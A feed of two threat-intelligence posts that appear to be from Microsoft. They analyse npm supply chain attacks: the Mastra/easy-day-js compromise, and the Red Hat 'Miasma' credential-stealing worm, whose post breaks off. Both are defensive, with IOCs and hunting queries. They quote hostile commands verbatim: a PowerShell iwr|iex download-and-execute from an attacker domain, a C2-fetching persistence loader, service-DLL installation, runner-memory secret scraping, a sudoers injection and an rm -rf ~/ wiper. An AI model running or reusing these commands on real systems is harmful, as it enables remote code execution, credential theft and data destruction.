Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet

June 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North Korean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this campaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm supply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library. Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview

Figure 1. End-to-end attack chain from npm account takeover through mass dependency injection to second-stage payload execution.

At a high level, the attack progressed through seven phases:

  • Account compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish rights across the entire @mastra scope.
  • Typosquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account).
  • Mass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
  • Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
  • Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
  • Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
  • Post-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender exclusions, and installed a service-level implant for SYSTEM-context access.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

Figure 2. Publisher comparison across mastra versions showing the anomalous manual publish on v1.13.1.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

Figure 3. The compromised mastra@1.13.1 package.json with the injected easy-day-js dependency and the anomalous npm publisher.

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

AttributeLegitimate dayjsMalicious easy-day-js
Maintaineriamkun <kunhello@outlook[.]com>sergey2016 <sergey2016@tutamail[.]com>
Claimed authoriamkuniamkun (impersonated)
Repository URLgithub.com/iamkun/dayjsgithub.com/iamkun/dayjs (copied)
Weekly downloads57,251,792newly created
Version count89+ versions since 20182 versions (both June 16, 2026)
postinstall scriptNonenode setup.cjs –no-warnings (v1.11.22)

Staged delivery pattern

The typosquat used a two-phase delivery strategy:

  • Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
  • Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Figure 4. The weaponized easy-day-js@1.11.22 package.json. The postinstall hook runs setup.cjs automatically on npm install.

Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

Figure 5. The obfuscated setup.cjs dropper with rotated string array and base64 encoded string lookups.

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Figure 6. The decoded string table revealing C2 addresses, file system operations, and process spawning functionality.

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

Figure 7. The fully deobfuscated setup.cjs payload showing the five-step attack sequence from.

TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Figure 8. XOR 0x80 decoding of the .pkg_logs marker reveals the string easy-day-js.

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

OSPersistence mechanismDrop locationArtifact name
WindowsRegistry Run key
(HKCU\…\CurrentVersion\Run)
C:\ProgramData\NodePackages\NvmProtocal
macOSLaunchAgent
 (RunAtLoad)
~/Library/NodePackages/com.nvm.protocal.plist
Linuxsystemd user unit
 (WantedBy=default.target)
~/.config/systemd/nvmconf/nvmconf.service

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

  • Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
  • Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
  • Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Following successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated collection to interactive hands-on-keyboard access.

Microsoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an escalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2 infrastructure have been used by Sapphire Sleet in other, prior campaigns.

Step 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and executes a PowerShell script from a separate attacker-controlled domain:

powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"

Upon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and disabling future history recording:

Remove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing

Step 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim identifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status, installed antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser extensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2 via HTTP POST:

$info_pkt = @{     type        = "info"     targetId    = $uid     currentTime = [int64][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname; timezone=$timezone;              bootTime=$bootTime; os="windows"; version=$version; arch=$arch;              applist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine } }

All network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing every 10 seconds and backing off to 180-second intervals on network failure.

Step 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent of the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named MicrosoftUpdate:

$batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = 'start /min powershell -w h -c "& ([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing ' +            "-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -Value $batFile

This persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling the attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command, the backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\{guid}.ps1), and executes it with -ExecutionPolicy Bypass in a hidden window:

$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N"))) Set-Content -Path $tempFile -Value $scpt -Encoding UTF8 -Force $cln = @("-NoProfile","-ExecutionPolicy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln

Step 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a persistent service that loads a malicious DLL at boot:

sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f

The scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing Sapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—from a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level persistence.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

Timestamp (UTC)Event
June 16, 07:05easy-day-js@1.11.21 published (clean bait, no payload)
June 17, 01:01easy-day-js@1.11.22 published (adds postinstall with setup.cjs)
June 17, 01:20mastra@1.13.1 and 140+ other @mastra/* packages published with easy-day-js dependency

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
  • Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
  • Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
  • Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
  • Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
  • Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
  • Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
  • Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial accessSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus – Trojan:JS/NpmStealz.Z!MTB
– Trojan:JS/NpmStealz.ZA!MTB
 
Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious Node.js script execution
 
Execution
( Stage 1  )
Postinstall hook automatically executes obfuscated setup.cjs dropper (4,572 bytes) during npm install;Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious Node.js script execution  
Execution / Defense evasion 
(Stage 2)
Second-stage payload: Reflective .NET assembly injection: PowerShell downloads DLL, loads via [Reflection.Assembly]::Load(), invokes Extension.SubRoutine.Run2 method to inject payload into cmd.exe process; entire chain is filelessMicrosoft Defender Antivirus
Trojan:JS/NpmSteal.DB!MTB
Trojan:PowerShell/PsExec.DE!MTB

Microsoft Defender for Endpoint
-Process loaded suspicious .NET assembly
-A process was injected with potentially malicious code
-Reflective code loading (Fileless In-Memory Execution)

Microsoft Defender for Cloud
-Possible AI Tools Reconnaissance Detected
-Possible Secret Reconnaissance Detected
-Access to cloud metadata service detected
-Possible Post-Compromise Activity Detected in CICD Runner
PersistenceRegistry Run key created, executing hidden PowerShell that launches protocal.cjs on every user loginMicrosoft Defender for Endpoint
– Anomaly detected in ASEP registry  
Command and controlGET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.Microsoft Defender for Endpoint
– Command-line process communicating with malicious network endpoint  

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

  • Incident investigation  
  • Microsoft User analysis  
  • Threat actor profile  
  • Threat Intelligence 360 report based on MDTI article  
  • Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents 
 | where Timestamp > ago(7d) 
 | where FileName in ("node", "node.exe") 
 | where ProcessCommandLine has "setup.cjs" 
     or ProcessCommandLine has "easy-day-js" 
|  where ProcessCommandLine has “--no-warnings” 
 | project Timestamp, DeviceName, AccountName, 
     ProcessCommandLine, FolderPath, InitiatingProcessFileName 
 | sort by Timestamp desc 

Outbound connections to C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Indicators of compromise (IOC)

Network indicators

IndicatorTypeDescription
23.254.164.92IP addressPrimary C2 server
23.254.164.123IP addressSecondary C2 address (from deobfuscated strings)
https[:]//23[.]254[.]164[.]92:8000/update/49890878URLPayload download endpoint
teams[.]onweblive[.]orgDomainPost Compromise PowerShell backdoor delivery domain
https[:]//teams[.]onweblive[.]org/api/update/8555575039/4URLPost Compromise PowerShell backdoor download endpoint
maskasd[.]comDomainPost Compromise C2 beacon domain
https[:]//maskasd[.]com/8555575039URLPost Compromise C2 beacon endpoint

File indicators

IndicatorTypeDescription
B122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4SHA-256setup.cjs (malicious postinstall dropper)
AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185SHA-256easy-day-js-1.11.22.tgz (weaponized tarball)
4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417SHA-256easy-day-js-1.11.21.tgz (clean bait tarball)
B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7ESHA-256mastra-1.13.1.tgz (compromised CLI tarball)
221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badfSHA-256protocol.cjs
50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65SHA-256Downloader and backdoor PowerShell script
1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526SHA256Second stage Powershell Script

Host indicators

IndicatorTypeDescription
$TMPDIR/.pkg_historyFile artifactContains the install path of the compromised package
$TMPDIR /.pkg_logs File artifactContains XOR 0x80 encoded string “easy-day-js”
<homedir>/<random_hex>.jsFile artifactDownloaded second-stage payload

Package indicators

IndicatorTypeDescription
easy-day-jsnpm packageMalicious typosquat of dayjs
sergey2016npm accountPublisher of easy-day-js
ehinderonpm accountCompromised publisher of 140+ Mastra packages

References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet appeared first on Microsoft Security Blog.

Preinstall to persistence: Inside the Red Hat npm Miasma credential-stealing campaign

Microsoft Threat Intelligence identified a large-scale npm supply chain attack affecting 32 maliciously modified packages across more than 90 versions under the @redhat-cloud-services npm scope. The compromise originated from the upstream RedHatInsights/javascript-clients Continuous Integration and Continuous Delivery (CI/CD) pipeline, allowing attackers to publish trojanized packages through the legitimate GitHub Actions OpenID Connect (OIDC) publishing workflow. As a result, the malicious packages carried authentic provenance signatures while embedding the campaign marker “Miasma: The Spreading Blight.”

Once installed, the trojanized packages triggered an npm preinstall hook that executed a heavily obfuscated 4.29 MB dropper script. Through multiple layers of obfuscation and encryption, the malware downloaded the Bun JavaScript runtime and launched a secondary payload designed to harvest credentials from GitHub, npm, Amazon Web Service (AWS), Azure, Google Cloud Platform (GCP), HashiCorp Vault, Kubernetes, and developer systems. The malware also attempted to propagate by compromising additional maintainer packages and, in some scenarios, could destroy the maintainer’s home directory.

The payload operated across Linux, macOS, and Windows by dynamically downloading the correct Bun runtime for each platform, although Linux CI/CD runners appeared to be the primary target. On developer systems, the malware stole Secure Shell (SSH) keys, command-line interface (CLI) credentials, browser and wallet data, while in CI/CD environments it scraped GitHub Actions runner memory for secrets, escalated privileges using passwordless sudo, and republished poisoned packages with forged Supply-chain Levels for Software Artifacts (SLSA) provenance to continue downstream propagation. Microsoft shared its findings with the npm team, leading to the removal of affected repositories and the implementation of additional protections on the @redhat-cloud-services namespace to prevent unauthorized publishing.

Attack chain overview

Figure 1. End-to-end attack chain from the hijacked trusted-publisher flow through credential theft, exfiltration, and worm propagation across maintainers.

At a high level, the malware payload progresses through 10 phases:

  • Delivery and execution: The infection begins automatically during npm install, where the malicious preinstall hook executes node index.js without requiring user interaction.
  • Staged unpacking: The payload is unpacked through multiple decoding layers, including several ROT (rotate)-based obfuscation variants followed by AES-128-GCM decryption. The malware then downloads the Bun runtime and detonates the final payload.
  • Environment gating: The malware validates the execution environment before continuing. It terminates execution on systems configured with few regions in locale settings and can optionally restrict execution to CI/CD environments only.
  • Defense evasion: The malware attempts to neutralize security controls
  • Credential access: The malware harvests secrets and authentication tokens from GitHub, npm, major cloud providers, HashiCorp Vault, and Kubernetes environments, including scraping sensitive data directly from CI runner process memory.
  • Privilege escalation: It installs a passwordless sudo rule to obtain elevated privileges and maintain deeper system control.
  • Persistence: The malware continuously monitors stolen tokens and prepares secondary-stage payload deployment for long-term access.
  • Exfiltration: Stolen data is transmitted using three separate command-and-control (C2) channels, including abuse of GitHub infrastructure as an exfiltration mechanism.
  • Self-propagation: The malware republishes packages owned by the compromised maintainer using forged provenance metadata, effectively allowing the threat to spread like a worm across trusted package ecosystems.
  • Destructive tripwire: If the malware detects interaction with a planted decoy token, it triggers a destructive fail-safe command (rm -rf ~/) intended to wipe the victim’s home directory.

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

Stage 0 – Malicious preinstall trigger: The attack begins in package.json, where a weaponized preinstall hook automatically executes during npm install, allowing the malware to run through both direct and transitive dependency installation. The modified packages also replaced the original index.js while leaving source-map metadata unchanged, indicating probable release-pipeline tampering.

Figure 2. The weaponized package.json. The preinstall hook runs the 4.29 MB index.js dropper automatically on install.

Stage 1 – Multi-layer JavaScript obfuscation: The 4.29 MB index.js dropper uses layered obfuscation, beginning with a large character-code array reconstructed at runtime, decoded through a ROT-XX (Caesar cipher) transformation, and dynamically executed via eval().

Figure 3. The ROT-XX character-code outer wrapper.

Stage 2 – AES-encrypted payloads and Bun runtime abuse: The next layer decrypts two AES-128-GCM encrypted blobs: one downloads the Bun runtime from official Bun infrastructure, while the second contains the primary payload. The malware then executes the payload via Bun, creating an unusual process chain (node → shell → bun → payload) designed to evade Node-focused monitoring and detections.

Figure 4. AES-128-GCM decryption of the two embedded blobs and the Bun-based second-stage execution.

Stage 3 – Obfuscator.io string-array protection: The Bun-executed payload is additionally protected using Obfuscator.io techniques, including rotated string arrays, decoder functions, and hundreds of alias wrappers that conceal nearly every string and identifier from static analysis.

Figure 5. Static resolution of the obfuscator.io string array.

Stage 4 – Custom cryptographic string cipher: Sensitive strings remain protected behind a bespoke encryption routine that derives keys using PBKDF2-HMAC-SHA-256 with 200,000 iterations, followed by multiple SHA-256-seeded permutation and XOR stages, significantly complicating reverse engineering and static extraction.

Figure 6. The custom PBKDF2(200,000)+permutation cipher and the recovered plaintext constants.

Credential theft

The payload targets secrets across multiple providers:

  • GitHub: Validates token/scopes, enumerates repos, reads Actions/org secrets, uses GraphQL for branch/history, and steals ACTIONS_RUNTIME_TOKEN + ACTIONS_ID_TOKEN_REQUEST_TOKEN.
  • npm: Validates via /-/whoami, exchanges OIDC token for publish rights, and searches maintainer-owned packages for poisoning targets.
  • AWS: Pulls Identity and Access Management (IAM) credentials via Instance Metadata Service (IMDS) and Elastic Container Service (ECS) metadata, plus Secrets Manager access.
  • Azure: Collects IMDS OAuth2 tokens for management.azure.com, graph.microsoft.com, and Key Vault (*.vault.azure.net).
  • GCP: Harvests metadata.google.internal service-account tokens, Secret Manager, and Resource Manager access.
  • Vault/K8s: Probes Vault (127.0.0.1:8200) across many token paths; reads Kubernetes Service Account (SA) token and namespace secrets.
  • CI & Local : Steals CIRCLE_TOKEN; exfiltrates secrets from SSH/AWS/npm/PyPI/git/env/gcloud/kube/docker, browser data, and wallet files (*.wallet, wallet.dat).
Figure 7. The multi-platform credential harvester recovered from the decrypted payload.

Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
 
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

The payload performs the following actions to escalate its privileges:

  • Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
  • Modifies /etc/hosts for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > 
 && chmod 0440 /mnt/runner
 
// Neutralize Security product monitoring 
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
 
// Validates sudo access before operations
sudo -n true

Exfiltration

The malware abuses GitHub and victim-owned assets instead of a single easy-to-block C2 endpoint:

Channel A (victim-owned repo drop): Creates a public repo in the victim’s GitHub account (“Miasma: The Spreading Blight”) and commits stolen credential JSON to results/<timestamp>-<counter>.json. Repo names are randomized (adjective-creature-<0–99999>), spreading indicators.

Channel B (code propagation): Injects its own source as .github/setup.js into non-protected branches across victim-owned repos via Git Data API (blob → tree → commit → ref update). Skips protected/default branches and common bot/release branches; uses chore: update dependencies [skip ci] with spoofed github-actions@github.com.

Channel C (dormant HTTPS sender): Includes a disabled POST path to api.anthropic.com:443/v1/api (noop: true in this sample). The same domain is used to validate stolen Anthropic keys (for example, ~/.claude.json), indicating a swappable live exfiltration path.

C2 is not tied to one account; it rotates across a pool of 16 attacker-controlled GitHub accounts per session. Stolen tokens are double-Base64 encoded in transit, and traffic is masked with python-requests/2.31.0 user-agent spoofing

Propagation and persistence

The malware spreads across repositories while maintaining access through credential theft, supply-chain forgery, and destructive safeguards:

  • Enumerates /user/repos and /user/orgs to spread into additional repositories
  • Installs Bun runtime, executes second-stage payload using bun run .claude/
  • Deploys token monitor for ongoing credential capture
  • Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate
  • Plants a decoy honeytoken (IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner); triggering/revoking it can invoke a wiper routine (rm -rf ~/ and ~/Documents)

Impact and blast radius

This attack has a wide blast radius, affecting packages, credentials, and downstream systems.

  • Direct compromise of @ redhat-cloud-services packages with broad ecosystem adoption
  • Amplification through downstream dependencies into thousands of projects
  • Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
  • SLSA provenance forgery erodes trust in supply chain attestation frameworks

Campaign scope

Our investigation uncovered the following affected packages and versions.

Package (@redhat-cloud-services/…)Malicious versions
types3.6.1, 3.6.2, 3.6.4
frontend-components-utilities7.4.1, 7.4.2, 7.4.4
frontend-components7.7.2, 7.7.3, 7.7.5
rbac-client9.0.3, 9.0.4, 9.0.6
javascript-clients-shared2.0.8, 2.0.9, 2.0.11
frontend-components-config-utilities4.11.2, 4.11.3, 4.11.5
frontend-components-notifications6.9.2, 6.9.3, 6.9.5
tsc-transform-imports1.2.2, 1.2.4, 1.2.6
frontend-components-config6.11.3, 6.11.4, 6.11.6
eslint-config-redhat-cloud-services3.2.1, 3.2.2, 3.2.4
host-inventory-client5.0.3, 5.0.4, 5.0.6
